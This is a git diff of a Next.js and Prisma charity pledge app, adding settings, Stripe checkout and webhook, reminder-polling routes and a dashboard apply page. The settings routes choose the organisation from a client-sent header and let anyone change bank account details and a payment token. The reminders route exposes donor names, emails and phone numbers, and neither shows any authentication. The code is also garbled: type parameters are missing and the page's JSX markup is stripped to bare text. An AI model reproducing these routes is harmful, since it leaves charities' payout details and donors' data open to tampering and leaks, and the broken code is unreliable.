qrSource.id }, + data: { scanCount: { increment: 1 } }, + }) + + return NextResponse.json({ + id: qrSource.event.id, + name: qrSource.event.name, + organizationName: qrSource.event.organization.name, + qrSourceId: qrSource.id, + qrSourceLabel: qrSource.label, + }) + } catch (error) { + console.error("QR resolve error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/settings/route.ts b/pledge-now-pay-later/src/app/api/settings/route.ts new file mode 100644 index 0000000..37223c4 --- /dev/null +++ b/pledge-now-pay-later/src/app/api/settings/route.ts @@ -0,0 +1,60 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { resolveOrgId } from "@/lib/org" + +export async function GET(request: NextRequest) { + try { + if (!prisma) return NextResponse.json({ error: "DB not configured" }, { status: 503 }) + const orgId = await resolveOrgId(request.headers.get("x-org-id") || "demo") + if (!orgId) return NextResponse.json({ error: "Org not found" }, { status: 404 }) + + const org = await prisma.organization.findUnique({ where: { id: orgId } }) + if (!org) return NextResponse.json({ error: "Org not found" }, { status: 404 }) + + return NextResponse.json({ + id: org.id, + name: org.name, + slug: org.slug, + country: org.country, + bankName: org.bankName || "", + bankSortCode: org.bankSortCode || "", + bankAccountNo: org.bankAccountNo || "", + bankAccountName: org.bankAccountName || "", + refPrefix: org.refPrefix, + logo: org.logo, + primaryColor: org.primaryColor, + gcAccessToken: org.gcAccessToken ? "••••••••" : "", + gcEnvironment: org.gcEnvironment, + }) + } catch (error) { + console.error("Settings GET error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} + +export async function PATCH(request: NextRequest) { + try { + if (!prisma) return NextResponse.json({ error: "DB not configured" }, { status: 503 }) + const orgId = await resolveOrgId(request.headers.get("x-org-id") || "demo") + if (!orgId) return NextResponse.json({ error: "Org not found" }, { status: 404 }) + + const body = await request.json() + const allowed = ["name", "bankName", "bankSortCode", "bankAccountNo", "bankAccountName", "refPrefix", "primaryColor", "logo", "gcAccessToken", "gcEnvironment"] + const data: Record = {} + for (const key of allowed) { + if (key in body && body[key] !== undefined && body[key] !== "••••••••") { + data[key] = body[key] + } + } + + const org = await prisma.organization.update({ + where: { id: orgId }, + data, + }) + + return NextResponse.json({ success: true, name: org.name }) + } catch (error) { + console.error("Settings PATCH error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/stripe/checkout/route.ts b/pledge-now-pay-later/src/app/api/stripe/checkout/route.ts new file mode 100644 index 0000000..8c9ec5d --- /dev/null +++ b/pledge-now-pay-later/src/app/api/stripe/checkout/route.ts @@ -0,0 +1,118 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { createCheckoutSession } from "@/lib/stripe" +import { generateReference } from "@/lib/reference" + +export async function POST(request: NextRequest) { + try { + const body = await request.json() + const { amountPence, donorName, donorEmail, donorPhone, giftAid, eventId, qrSourceId } = body + + if (!prisma) { + return NextResponse.json({ error: "Database not configured" }, { status: 503 }) + } + + // Get event + org + const event = await prisma.event.findUnique({ + where: { id: eventId }, + include: { organization: true }, + }) + if (!event) { + return NextResponse.json({ error: "Event not found" }, { status: 404 }) + } + + const org = event.organization + + // Generate reference + let reference = "" + let attempts = 0 + while (attempts < 10) { + reference = generateReference(org.refPrefix || "PNPL", amountPence) + const exists = await prisma.pledge.findUnique({ where: { reference } }) + if (!exists) break + attempts++ + } + + // Create pledge in DB + const pledge = await prisma.pledge.create({ + data: { + reference, + amountPence, + currency: "GBP", + rail: "card", + status: "new", + donorName: donorName || null, + donorEmail: donorEmail || null, + donorPhone: donorPhone || null, + giftAid: giftAid || false, + eventId, + qrSourceId: qrSourceId || null, + organizationId: org.id, + }, + }) + + // Track analytics + await prisma.analyticsEvent.create({ + data: { + eventType: "pledge_completed", + pledgeId: pledge.id, + eventId, + qrSourceId: qrSourceId || null, + metadata: { amountPence, rail: "card" }, + }, + }) + + // Try real Stripe checkout + const baseUrl = process.env.BASE_URL || "http://localhost:3000" + + const session = await createCheckoutSession({ + amountPence, + currency: "GBP", + pledgeId: pledge.id, + reference, + eventName: event.name, + organizationName: org.name, + donorEmail: donorEmail || undefined, + successUrl: `${baseUrl}/p/success?pledge_id=${pledge.id}&rail=card&session_id={CHECKOUT_SESSION_ID}`, + cancelUrl: `${baseUrl}/p/success?pledge_id=${pledge.id}&rail=card&cancelled=true`, + }) + + if (session) { + // Save Stripe session reference + await prisma.payment.create({ + data: { + pledgeId: pledge.id, + provider: "stripe", + providerRef: session.sessionId, + amountPence, + status: "pending", + matchedBy: "auto", + }, + }) + + await prisma.pledge.update({ + where: { id: pledge.id }, + data: { status: "initiated" }, + }) + + return NextResponse.json({ + mode: "live", + pledgeId: pledge.id, + reference, + checkoutUrl: session.checkoutUrl, + sessionId: session.sessionId, + }) + } + + // Fallback: no Stripe configured — return pledge for simulated flow + return NextResponse.json({ + mode: "simulated", + pledgeId: pledge.id, + reference, + id: pledge.id, + }) + } catch (error) { + console.error("Stripe checkout error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/stripe/webhook/route.ts b/pledge-now-pay-later/src/app/api/stripe/webhook/route.ts new file mode 100644 index 0000000..7296b0d --- /dev/null +++ b/pledge-now-pay-later/src/app/api/stripe/webhook/route.ts @@ -0,0 +1,88 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { constructWebhookEvent } from "@/lib/stripe" + +export async function POST(request: NextRequest) { + try { + const body = await request.text() + const signature = request.headers.get("stripe-signature") || "" + + const event = constructWebhookEvent(body, signature) + if (!event) { + return NextResponse.json({ error: "Invalid signature" }, { status: 400 }) + } + + switch (event.type) { + case "checkout.session.completed": { + const session = event.data.object as { id: string; metadata: Record; payment_status: string } + const pledgeId = session.metadata?.pledge_id + + if (pledgeId && session.payment_status === "paid") { + await prisma.pledge.update({ + where: { id: pledgeId }, + data: { + status: "paid", + paidAt: new Date(), + }, + }) + + // Update payment record + await prisma.payment.updateMany({ + where: { + pledgeId, + providerRef: session.id, + }, + data: { + status: "confirmed", + receivedAt: new Date(), + }, + }) + + // Track analytics + await prisma.analyticsEvent.create({ + data: { + eventType: "payment_matched", + pledgeId, + metadata: { provider: "stripe", sessionId: session.id }, + }, + }) + } + break + } + + case "payment_intent.succeeded": { + const pi = event.data.object as { id: string; metadata: Record } + const pledgeId = pi.metadata?.pledge_id + + if (pledgeId) { + await prisma.pledge.update({ + where: { id: pledgeId }, + data: { + status: "paid", + paidAt: new Date(), + }, + }) + } + break + } + + case "payment_intent.payment_failed": { + const pi = event.data.object as { id: string; metadata: Record } + const pledgeId = pi.metadata?.pledge_id + + if (pledgeId) { + await prisma.pledge.update({ + where: { id: pledgeId }, + data: { status: "overdue" }, + }) + } + break + } + } + + return NextResponse.json({ received: true }) + } catch (error) { + console.error("Stripe webhook error:", error) + return NextResponse.json({ error: "Webhook handler failed" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/api/webhooks/route.ts b/pledge-now-pay-later/src/app/api/webhooks/route.ts new file mode 100644 index 0000000..599782e --- /dev/null +++ b/pledge-now-pay-later/src/app/api/webhooks/route.ts @@ -0,0 +1,79 @@ +import { NextRequest, NextResponse } from "next/server" +import prisma from "@/lib/prisma" +import { formatWebhookPayload } from "@/lib/exports" + +interface ReminderWithPledge { + id: string + pledgeId: string + step: number + channel: string + scheduledAt: Date + payload: unknown + pledge: { + donorName: string | null + donorEmail: string | null + donorPhone: string | null + reference: string + amountPence: number + rail: string + event: { name: string } + organization: { name: string } + } +} + +// GET pending webhook events (for external polling) +export async function GET(request: NextRequest) { + try { + if (!prisma) { + return NextResponse.json([]) + } + const since = request.nextUrl.searchParams.get("since") + const limit = parseInt(request.nextUrl.searchParams.get("limit") || "50") + + const reminders = await prisma.reminder.findMany({ + where: { + status: "pending", + scheduledAt: { lte: new Date() }, + ...(since ? { scheduledAt: { gte: new Date(since) } } : {}), + }, + include: { + pledge: { + include: { + event: { select: { name: true } }, + organization: { select: { name: true } }, + }, + }, + }, + take: limit, + orderBy: { scheduledAt: "asc" }, + }) as ReminderWithPledge[] + + const events = reminders.map((r: ReminderWithPledge) => + formatWebhookPayload("reminder.due", { + reminderId: r.id, + pledgeId: r.pledgeId, + step: r.step, + channel: r.channel, + scheduledAt: r.scheduledAt, + donor: { + name: r.pledge.donorName, + email: r.pledge.donorEmail, + phone: r.pledge.donorPhone, + }, + pledge: { + reference: r.pledge.reference, + amount: r.pledge.amountPence, + rail: r.pledge.rail, + }, + event: r.pledge.event.name, + organization: r.pledge.organization.name, + payload: r.payload, + }) + ) + + return NextResponse.json({ events, count: events.length }) + } catch (error) { + console.error("Webhooks error:", error) + return NextResponse.json({ error: "Internal error" }, { status: 500 }) + } +} diff --git a/pledge-now-pay-later/src/app/dashboard/apply/page.tsx b/pledge-now-pay-later/src/app/dashboard/apply/page.tsx new file mode 100644 index 0000000..862ff58 --- /dev/null +++ b/pledge-now-pay-later/src/app/dashboard/apply/page.tsx @@ -0,0 +1,92 @@ +"use client" + +import { Card, CardContent, CardHeader, CardTitle, CardDescription } from "@/components/ui/card" +import { Button } from "@/components/ui/button" +import { Input } from "@/components/ui/input" +import { Label } from "@/components/ui/label" +import { Textarea } from "@/components/ui/textarea" +import { Select } from "@/components/ui/select" +import { TrendingUp, Shield, Zap } from "lucide-react" + +export default function ApplyPage() { + return ( +
+
+

+ Fractional Head of Technology +

+

+ Get expert technology leadership for your charity — without the full-time cost. +

+
+ + {/* Benefits */} +
+ {[ + { icon: TrendingUp, title: "Optimise Your Stack", desc: "Reduce costs, improve donor experience, integrate tools" }, + { icon: Shield, title: "Data & Compliance", desc: "GDPR, consent management, security best practices" }, + { icon: Zap, title: "Automate Everything", desc: "Connect your CRM, comms, payments, and reporting" }, + ].map((b, i) => ( + + + +

{b.title}

+

{b.desc}

+
+
+ ))} +
+ + {/* Application form */} + + + Apply + Tell us about your charity's tech needs + + +
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ +